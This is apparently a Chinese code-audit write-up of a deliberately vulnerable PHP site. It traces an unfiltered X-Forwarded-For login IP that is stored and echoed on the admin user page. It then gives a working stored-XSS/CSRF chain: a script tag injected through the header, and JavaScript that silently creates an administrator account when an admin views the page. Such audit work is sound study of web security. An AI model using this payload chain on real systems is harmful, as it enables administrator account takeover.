在sys/libphp中
1 function get_client_ip(){ 2 if ($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"], "unknown")){ 3 $ip = $_SERVER["HTTP_CLIENT_IP"]; 4 }else if ($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")){ 5 $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; 6 }else if ($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")){ 7 $ip = $_SERVER["REMOTE_ADDR"]; 8 }else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")){ 9 $ip = $_SERVER['REMOTE_ADDR']; 10 }else{ 11 $ip = "unknown"; 12 } 13 return($ip); 14 }
在代码段中发现服务器在$_SERVER["HTTP_CLIENT_IP"] 中获取了客户端的ip,然后搜索这个自定义的函数 get_client_ip()看获取iP后,有没有对ip进行过滤。直接将其
带入了数据库,并更新数据库!
1 <?php 2 include_once('../sys/config.php'); 3 4 if (isset($_POST['submit']) && !empty($_POST['user']) && !empty($_POST['pass'])) { 5 $clean_name = clean_input($_POST['user']); 6 $clean_pass = clean_input($_POST['pass']); 7 $query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')"; 8 $data = mysql_query($query, $conn) or die('Error!!'); 9 10 if (mysql_num_rows($data) == 1) { 11 $row = mysql_fetch_array($data); 12 $_SESSION['username'] = $row['user_name']; 13 $_SESSION['avatar'] = $row['user_avatar']; 14 $ip = sqlwaf(get_client_ip()); 15 $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'"; 16 mysql_query($query, $conn) or die("updata error!"); 17 header('Location: user.php'); 18 } 19 else { 20 $_SESSION['error_info'] = '用户名或密码错误'; 21 header('Location: login.php'); 22 } 23 mysql_close($conn); 24 } 25 else { 26 not_find($_SERVER['PHP_SELF']); 27 } 28 ?>
在14行发现只是用sqlwaf()函数对获取的ip进行了过滤。而sqlwaf在前面已经看过只是对sql语句进行了转移,而没有对xss的实体字符进行转义
发现login_ip的长度限制为255,所以可以尽情地xss不用考虑长度问题。
1 <?php 2 include_once('../sys/config.php'); 3 4 if (isset($_SESSION['admin'])) { 5 include_once('../header.php'); 6 7 $query = "SELECT * FROM users ORDER BY user_id"; 8 $data = mysql_query($query, $conn) or die('Error'); 9 mysql_close($conn); 10 ?> 11 <table class="items table"> 12 <thead> 13 <tr> 14 <th id="yw0_c0">Id</th> 15 <th id="yw0_c4">Name</th> 16 <th id="yw0_c4">Ip</th> 17 <th id="yw0_c4">Manege</th> 18 </thead> 19 <tbody> 20 <?php while ($users = mysql_fetch_array($data)) { 21 $html_user_name = htmlspecialchars($users['user_name']); 22 ?> 23 <tr class="odd"> 24 <td><?php echo $users['user_id'];?></a></td> 25 <td><?php echo $html_user_name;?></td> 26 <td><?php echo $users['login_ip'];?></td> 27 <td><a href="delUser.php?id=<?php echo $users['user_id'];?>">删除</a></td> 28 </tr> 29 <?php } ?> 30 </tbody> 31 </table> 32 33 <a href="manage.php">返回</a> 34 <?php 35 require_once('../footer.php'); 36 } 37 else { 38 not_find($_SERVER['PHP_SELF']); 39 } 40 ?>
在manageUser.php中,发现将login_ip直接输出了出来。由此可以看出XSS可以利用。
在用户登录时 修改x-forwarded-for 然后查看数据库发现
对包裹http的双引号进行了转义所以可以 直接把 <script src="http://127.0.0.1/post.js"></script> 直接改成<script src=http://127.0.0.1/post.js></script>他在浏览器加载的时候会自动生成双引号包裹
构造payload:
1 (function(){ 2 var xmlHttp; 3 try{ 4 xmlHttp= new XMLHttpRequest(); 5 }catch(e){ 6 try{ 7 xmlHttp =new ActiveXObject('Msxm12.XMLHTTP'); 8 }catch(e){ 9 try{ 10 xmlHttp = new ActiveXObject('Microsoft.XMLHTTP'); 11 }catch(e){ 12 } 13 } 14 } 15 xmlHttp.open("POST","http://127.0.0.1/admin/manageAdmin.php",true); 16 xmlHttp.setRequestHeader('Content-type','application/x-www-form-urlencoded'); 17 xmlHttp.send('username=xsscsrf&password=123456'|| null); 18 })();
在管理员查看用户信息时被添加账号 xsscsrf管理员账号!
利用成功!